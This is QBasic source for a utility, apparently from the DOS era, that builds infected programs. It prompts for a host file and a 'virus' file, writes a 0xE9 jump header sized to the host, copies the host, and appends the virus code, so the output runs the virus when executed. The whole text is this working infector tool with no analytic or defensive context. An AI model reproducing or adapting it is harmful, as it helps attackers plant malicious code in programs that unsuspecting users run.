DECLARE FUNCTION Dec! (hx$)
DIM dd AS STRING * 1
CLS
INPUT "In Filename"; f$
INPUT "Out Filename"; of$
INPUT "Virus Filename"; vf$
OPEN f$ FOR BINARY AS #1
OPEN of$ FOR BINARY AS #2
OPEN vf$ FOR BINARY AS #3
fs = LOF(1)
oo$ = ""
mm$ = UCASE$(RTRIM$(LTRIM$(HEX$(fs))))
IF LEN(mm$) = 3 THEN mm$ = "0" + mm$
IF LEN(mm$) = 5 THEN mm$ = "0" + mm$
IF LEN(mm$) = 7 THEN mm$ = "0" + mm$
IF LEN(mm$) = 9 THEN mm$ = "0" + mm$
FOR q = LEN(mm$) - 1 TO 1 STEP -2
IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2
oo$ = oo$ + CHR$(Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1)))
2 NEXT q
Hdr$ = "é" + oo$
IF LEN(Hdr$) = 2 THEN Hdr$ = "é" + CHR$(0) + MID$(Hdr$, 2, 1)
CLS
FOR q = 1 TO LEN(Hdr$)
dd = MID$(Hdr$, q, 1)
PUT #2, , dd
LOCATE 1, 1, 0: PRINT "Writing output file header."
dd = ""
NEXT q
LOCATE 1, 1: PRINT "Header complete.           "
dd = ""
FOR q2 = 1 TO LOF(1)
GET #1, , dd
LOCATE 2, 1: PRINT "Reading input file data.   "
PUT #2, , dd
LOCATE 2, 1: PRINT "Writing output file data.  "
dd = ""
NEXT q2
LOCATE 2, 1: PRINT "Original File complete"
dd = ""
FOR q3 = 1 TO LOF(3)
GET #3, , dd
LOCATE 3, 1: PRINT "Reading virus file data.   "
PUT #2, , dd
LOCATE 3, 1: PRINT "Writing output file data.  "
dd = ""
NEXT q3
LOCATE 3, 1: PRINT "Virus file complete        "
LOCATE 4, 1: PRINT "Done!"
CLOSE 1, 2, 3

FUNCTION Dec (hx$)
FOR lq = 0 TO 256
ma$ = HEX$(lq)
IF LEN(ma$) = 1 THEN ma$ = "0" + ma$
IF LEN(ma$) = 3 THEN ma$ = "0" + ma$
IF LEN(ma$) = 5 THEN ma$ = "0" + ma$
IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq
NEXT lq
END FUNCTION

